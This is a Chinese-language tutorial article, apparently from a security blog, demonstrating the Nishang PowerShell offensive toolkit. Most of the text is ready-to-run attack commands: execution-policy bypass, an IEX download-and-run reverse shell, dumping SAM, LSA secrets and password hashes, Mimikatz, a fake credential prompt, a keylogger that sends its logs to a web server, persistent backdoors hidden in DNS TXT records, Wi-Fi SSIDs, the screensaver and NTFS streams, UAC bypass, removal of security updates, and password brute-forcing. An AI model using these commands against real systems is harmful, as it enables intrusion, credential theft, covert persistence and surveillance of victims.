Powershell 滲透測試工具-Nishang
作者:V1ct0r
稿費:500RMB(不服你也來投稿啊!)
投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿
傳送門
【技術分享】Powershell 滲透測試工具-Nishang(一)
0x00 介紹
Powershell用於滲透測試其實早在多年前就已經被提出了。利用Powershell,攻擊者可以在無需接觸磁盤的情況下執行命令等,並且相較已經被大家廣泛關注並防御的Cmd而言,Powershell並非那么的引人矚目。Nishang是基於PowerShell的滲透測試專用工具。它集成了框架、腳本和各種payload,能夠幫助滲透測試人員在對Windows目標的全過程檢測中使用,是一款來源於作者實戰經歷的智慧結晶。至今,Nishang最新版本已為v0.67了。本文我將具體介紹這款實用的Powershell滲透測試工具。
0x01 使用
要使用Nishang,我們首先需要在[作者的Github]上面下載它,之后加載這些腳本。
Nishang需要我們的Powershell版本在v3以上才能使用,這里順便提供兩種查看當前我們當前Powershell版本的方法:
1.直接在我們的Powershell下執行”get-host”命令:
2.我們還可以在Powershell下執行”$PSVersionTable.PSVersion”:
需要知道的是:
默認情況下的Server OS 對應的 Powershell的版本:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
現在我們需要加載我們的腳本:
PS D:nishang-master> Import-Module .nishang.psm1
你可能會遇到下面的問題:
這是因為我們Powershell的默認的執行策略是Restricted的,而Restricted是不允許任何腳本運行的,我們可以使用下面的命令來來查看當前的執行策略:
PS D:nishang-master> Get-ExecutionPolicy
這里我們需要將執行模式改為RemoteSigned,這樣就可以執行其他用戶的腳本了:
PS D:nishang-master> set-executionpolicy remotesigned //這需要在管理員的狀態下執行
現在,我們就可以正常進行加載了。
當然,上面是基於我們在本地進行測試的情況下,如果是在真實的攻擊場景之下,我們還是不宜去做一些全局策略的更改的,這里簡單推薦幾個Bypass執行策略的Tricks:
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //設置當前用戶的執行策略為Unrestricted,也算是去更改了當前的全局策略 1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面這種,-Windowstyle hidden 可以讓我們的執行無任何彈窗 2. PowerShell.exe -ExecutionPolicy Bypass -File
想了解更多姿勢,大家可以看看Bypass執行策略的十五種方法:
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
然后,我們使用Dot Sourcing的方式來加載獨立的腳本:
PS D:nishang-master> ."D:nishang-masterGatherGet-Information.ps1"
在之后的使用中,我們可以使用”Get-Help”命令來獲取當前腳本的用法和說明等,如:
PS D:nishang-master> ."D:nishang-masterGatherGet-WLAN-Keys.ps1 PS D:nishang-master> Get-Help Get-Wlan-Keys
還需要說的一點是,我們可以在Powershell中使用” Out-File”來將我們的執行結果導出到文件中,如:
PS D:nishang-master> Get-Information | Out-File res.txt
就可以把獲取到的信息保存在res.txt中了。
最后,需要介紹兩種在內存當中去加載腳本的方式
第一種:
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] //
這里IEX可以遠程下載我們的腳本
第二種,我們可以在Powershell中使用Invoke-Encode腳本來將我們現有的腳本編碼壓縮,生成編碼后的內容,過程如下:
PS D:nishang-master> Invoke-Encode -DataToEncode "D:nishang-masterShellsInvoke-PowerShellTcp.ps1" -OutCommand Encoded data written to .encoded.txt Encoded command written to .encodedcommand.txt
在我們的encodedcommand.txt文件中我們可以看到編碼后的內容和效果:
然后在目標上(Web shell,meterpreter native shell等都可以)使用如下命令執行:
C:Userstarget> powershell -e [encodedscript]
這里涉及到的Invoke-PowerShellTcp腳本,我們將在后文對於具體模塊的腳本介紹時談到。
0x02 模塊介紹
0.信息搜集
Check-VM
從這個腳本的名字就可以看出來,它是用於檢測當前的機器是否是一台已知的虛擬機的。它通過檢測已知的一些虛擬機的指紋信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)來識別。
執行方式:
PS > Check-VM
測試
Copy-VSS
這個腳本利用Volume Shadow Copy 服務來復制出SAM文件。如果這個腳本運行在了DC機上ntds.dit和SYSTEM hive也能被拷貝出來。
執行方式:
PS > Copy-VSS //將會直接把文件保存在當前路徑下 PS > Copy-VSS -DestinationDir C:temp //指定保存文件的路徑(必須是已經存在的路徑)
測試
Invoke-CredentialsPhish
這個腳本是用來欺騙用戶輸入賬號密碼信息的。
執行方式:
PS > Invoke-CredentialsPhish
測試
執行后會彈出這個框欺騙用戶輸入
直到用戶輸入正確后這個框才會消失,然后我們就可以得到明文的管理員賬號密碼:
FireBuster FireListener
FireBuster可以對內網進行掃描,它會把包發給FireListener
執行方式:
PS > FireBuster 10.10.10.10 1000-1020 PS > FireListener -portrange 1000-1020
該腳本作者的Github上面還提供了一個Python版的監聽端:
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/
測試
我們首先在我們的機器(Attacker)上面運行FireListener:
FireListener 100-110
Victim:
FireBuster 192.168.199.1 90-110 -Verbose
Get-Information
這個腳本可以獲取目標機器上大量的信息(FTP訪問,進程,計算機配置信息,無線網絡和設備的信息,Hosts信息等等非超豐富)。
執行方式:
PS > Get-Information
還可以用我們前面說過的Out-File來將運行結果保存到指定文件。
Get-LSASecret
該腳本可以獲取LSA信息,但是使用的前提當然是你已經成功提升了權限的情況下,通常和我們后面提權當中涉及到的Enable-DuplicateToken(幫助我們獲得System權限)聯合使用。
執行方式:
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //還可以指定鍵名
Get-PassHashes
這個腳本在Administrator的權限下,可以dump出密碼哈希值。這個腳本來自於msf中powerdump,但做出了修改,使得我們不再需要System權限就可以dump了。
執行方式:
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat來格式化輸出結果
Get-WLAN-Keys
在Administrator的權限下,可以利用這個腳本來dump出WLAN文件的密鑰信息。實質上,這個腳本就是利用了netsh wlan show profile name=”” key=clear來獲取。
執行方式:
PS > Get-WLAN-Keys
Keylogger
Keylogger可以保存下用戶的鍵盤記錄。
執行方式:
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL參數會去檢查所給出的網頁之中是否包含 -MagicString后的字符串,如果存在的話就停止使用記錄。 PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //將記錄指定發送給一個可以記錄Post請求的Web服務器 PS > .Keylogger.ps1 -persist //實現持久化記錄(重啟后依然進行記錄) PS > .Keylogger.ps1 //直接以這種方式來運行,鍵盤記錄會保存在當前用戶的Temp目錄下key文件中
測試
首先執行 PS > .Keylogger.ps1
發現在當前用戶的Temp目錄下生成了Key的文件,這時我們使用nishang Utility中的Parse_Keys來解析
PS >Parse_Keys .key.log .parsed.txt
然后parsed.txt里面就是解析后的按鍵記錄了
Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系統用戶密碼。
執行方式:
PS >Invoke-MimikatzWDigestDowngrade PS > Get-Job | Receive-Job
執行了
PS >Invoke-MimikatzWDigestDowngrade
Windows會鎖屏
之后執行
Get-Job
發現嘗試多次都測試失敗
解決辦法可以參考:
[域滲透——Dump Clear-Text Password after KB2871997 installed]
Get-PassHints
這個腳本可以從Windows獲得用戶的密碼的提示信息,需要有Administrator的權限來讀取SAM hive。
執行方式:
PS > Get-PassHints
Show-TargetScreen
使用MJPEG傳輸目標機器的遠程桌面的實時畫面,在本機我們可以使用NC或者Powercat來進行監聽。在本地使用支持MJPEG的瀏覽器(如:Firefox)訪問本機對應監聽端口,即可在瀏覽器上面看到遠端傳輸回來的實時畫面。
PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443 //將遠程的畫面傳送到192.168.230.1的443端口
測試
Victim:
Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse
Attacker:
nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //這里我使用的NC,也可以用Powercat
本機訪問:127.0.0.1:9000
Invoke-Mimikatz
Mimikatz大家都非常熟悉了,就不再介紹了
執行方式:
Invoke-Mimikatz -DumpCerts //Dump出本機的憑證信息 Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出遠程兩台計算機的憑證信息 Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在遠程一台機器上運行Mimikatz並執行"privilege::debug exit"
1.域相關腳本
Get-Unconstrained
查找域內開啟了Kerberos Unconstrained Delegation的機器。
執行方式:
PS > Get-Unconstrained //返回開啟的計算機名 PS > Get-Unconstrained -Details //返回更詳細的信息
關於”通過Kerberos Unconstrained Delegation獲取到域管理員”:
http://www.freebuf.com/articles/terminal/98530.html
2.Antak Webshell
Antak
一個ASPX的Webshell,通過這個Webshell可以編碼、執行腳本,上傳、下載文件。
執行方式:
上傳Webshell后把它當成一個正常的Powershell執行窗口來使用
上傳和下載文件,只需要填寫好對應路徑點擊上傳、下載按鈕即可
關於Antak Webshell的更多介紹,請參考:
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html
3.后門
HTTP-Backdoor
HTTP-Backdoor可以幫助我們在目標機器上下載和執行Powershell腳本
執行方式:
PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
下面解釋下幾個比較重要的參數:
CheckURL 給出一個URL地址,如果存在我們MagicString中的值就去執行Payload - 下載運行我們的腳本 PayloadURL 這個參數給出我們需要下載的Powershell腳本的地址 Arguments 這個參數指定我們要執行的函數 StopString 這個參數也會去看是否存在我們CheckURL返回的字符串,如果存在就會停止執行
DNS_TXT_Pwnage
利用DNS隧道來進行信息傳輸、通信的小技巧已經不少見了。在Nishang中也集成了一個通過DNS TXT來接收命令或者腳本的后門腳本。使用DNS_TXT_Pwnage這個腳本,我們一般需要配合Utility下的Out-DnsTxt使用。
所以這里首先說下Out-DnsTxt的使用:
PS >Out-DnsTxt -DataToEncode path //path處是你想編碼的內容的路徑
之后,它會生成一個編碼后的文件,如下圖所示
然后我們去添加對應的TXT記錄就行了,encoded.txt文件中每一行為一條記錄
添加完后我們還需要添加兩條TXT記錄,內容為start和stop
添加完成后,我們就可以利用DNS_TXT_Pwnage這個腳本了
執行方式:
PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop
具體參數的意思:
startdomain 會一直去檢測我們指定域名的TXT記錄,並把返回的記錄與我們輸入的cmdstring以及psstring進行比較 cmdstring 是我們任意輸入的字符串,如果startdomain與我們這里輸入的cmdstring值相等則執行commanddomain命令 commanddomain 創建的執行命令TXT記錄的域名 psstring 是我們任意輸入的字符串,如果與我們這里輸入的psstring值相等則執行psdomain腳本 psdomain 是我們創建的執行腳本TXT記錄的域名 Subdomains 是執行腳本創建TXT記錄的個數 StopString 是任意輸入的字符串,如果這里輸入的字符串與startdomain中返回的記錄相同將會停止執行我們的Payload Arguments 指定要執行的函數名
Execute-OnTime
執行方式:
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
具體參數的意思:
PayloadURL 指定我們腳本下載的地址 Arguments 指定執行的函數名 Time 參數可以設定腳本執行的時間(例如 -Time 23:21) CheckURL 參數會檢測我們一個指定的URL內容是否存在StopString給出的字符串,如果發現了就停止執行
Gupt-Backdoor
Gupt-Backdoor這個腳本可以幫助我們通過無線SSID反彈后門和執行命令。
執行方式:
PS >Gupt-Backdoor -MagicString test -Verbose
這里解釋一下MagicString這個參數:
MagicString開頭的4個字符是用來識別我們建立的WIFI SSID的。例如,這里是test,Gupt后門會去自動匹配我們WIFI中SSID以test開頭的。而MagicString這個參數從第五個字符開始就決定了我們是執行命令或是下載腳本。
需要注意的是:
如果它的第五個字符是c就代表執行命令。
例如:-MagicString testcwhoami
就會匹配WIFI SSID為test的,並執行命令whoami
如果它的第五個字符是u的話就代表下載腳本。
例如:-MagicString testuXXXX
就會匹配WIFI SSID為test的,並默認下載http://goo.gl/XXXX
(其中http://goo.gl可在腳本的$PayloadURL參數中修改)
還可以用Arguments參數來指定下載腳本
例如:
PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose
就可以下載Get-Information的腳本了
補充
Windows下創建一個WIFI:
cmd
netsh wlan set hostednetwork mode=allow netsh wlan set hostednetwork ssid=test key=1234567890 netsh wlan start hostednetwork
Add-ScrnSaveBackdoor
這個腳本可以幫助我們利用Windows的屏保來留下一個隱藏的后門
執行方式:
PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用這條語句可以執行我們自己的Payload PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用這條命令可以從powershell執行一個HTTP-Backdoor PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1 //還可以使用msfvenom先生成一個powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),然后利用這條命令返回一個meterpreter
其他具體的參數的意思和我們上面介紹的一些后門是類似的
PayloadURL 指定我們需要下載的腳本地址 Arguments 指定我們要執行的函數以及相關參數
Invoke-ADSBackdoor
這個腳本是使用NTFS數據流留下一個永久性后門。其實,由NTFS數據流帶來的一些安全問題的利用並不少見了(如:利用NTFS數據流在Mysql UDF提權中創建lib/plugin目錄),大家可以參考《NTFS ADS帶來的WEB安全問題》
這個腳本可以向ADS中注入代碼並且以普通用戶權限運行
執行方式:
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin. com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
這個腳本主要有兩個參數,在上面介紹其他后門當中已經說明了,這里是類似的
需要說明的是,執行后它會在AppData的目錄下建立一個ads並把我們的Payload注入進去,如果我們希望在cmd下看到我們這里建立的ads,需要使用:dir /a /r
4.客戶端
對於這一部分的腳本,我就不再贅述了,因為網上早已經有了對於這一部分腳本的介紹說明:
使用Powershell Client進行有效釣魚
5.權限提升
Enable-DuplicateToken
這個腳本可以幫助我們在已經獲得了一定權限的情況下,使我們提升到System權限。
執行方式
PS > Enable-DuplicateToken
具體的相關介紹可以查閱:
Remove-Update
這個腳本可以幫助我們移除系統所有的更新,或所有安全更新,以及指定編號的更新。
執行方式:
PS > Remove-Update All //移除目標機器上的所有更新 PS > Remove-Update Security //移除目標機器上所有安全相關更新 PS > Remove-Update KB2761226 //移除指定編號的更新
Invoke-PsUACme
Invoke-PsUACme使用了來自於UACME項目的DLL來Bypass UAC。
上表給出了各種UAC繞過的方法,我們可以在Invoke-PsUACme中指定相應方法執行。
執行方式:
PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload參數可以自行指定要執行的Payload
除開以上而外,我們還可以使用-PayloadPath參數來指定Payload的路徑,默認情況下Payload會在C:WindowsTempcmd.bat結束。還可以使用-CustomDLL64(64位)或-CustomDLL32(32位)參數來自定義一個DLL文件。
6.掃描
Invoke-BruteForce
這個腳本可以對SQL Server、域控制器、Web以及FTP進行口令的爆破
執行方式:
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器 PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose //爆破SQL Server PS > cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose //爆破server.txt中所有servers的SQL Server
主要的參數:
ComputerName 用於指定對應服務的計算機名 UserList 用戶名字典 PasswordList 密碼字典 Service 服務類型(注意默認為:SQL) StopOnSuccess 成功找到一個后就停止執行
Invoke-PortScan
利用這個腳本我們可以在目標機器上對內網進行端口掃描
執行方式:
PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80
主要的參數:
StartAddress 掃描范圍開始的地址 EndAddress 掃描范圍結束的地址 ScanPort 進行端口掃描 Port 指定掃描端口(默認掃描端口:21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901) TimeOut 設置超時時間
7.中間人
Invoke-Interceptor
這個腳本可以通過建立一個代理服務器的方式來攔截HTTPS的請求,並將這些請求記錄下來
執行方式:
PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //這條命令將默認在8081端口監聽並把請求發送給上游代理的3128端口
可以通過ListenPort來修改我們目標機器上的監聽端口(默認8081端口)
例如
我們在目標機器上執行:
然后這里本機我用NC來監聽對應端口:
接收到了來自目標機的請求數據
並且這個腳本會在目標機的TEMP目錄下生成interceptor.log的文件來記錄請求數據
0x03 結語
Nishang這款基於PowerShell的滲透測試專用工具集成了非常多實用的腳本與框架,方便我們在滲透測試過程之中使用。盡管,在一些環境下我們可能沒有辦法去執行Powershell,但是通過查看這些腳本的具體代碼,我們也可以自己去完成實現腳本提供的一些功能。限於篇幅,本文只能拋磚引玉地介紹Nishang的部分功能,希望大家能夠在實際的應用之中去體驗。
參考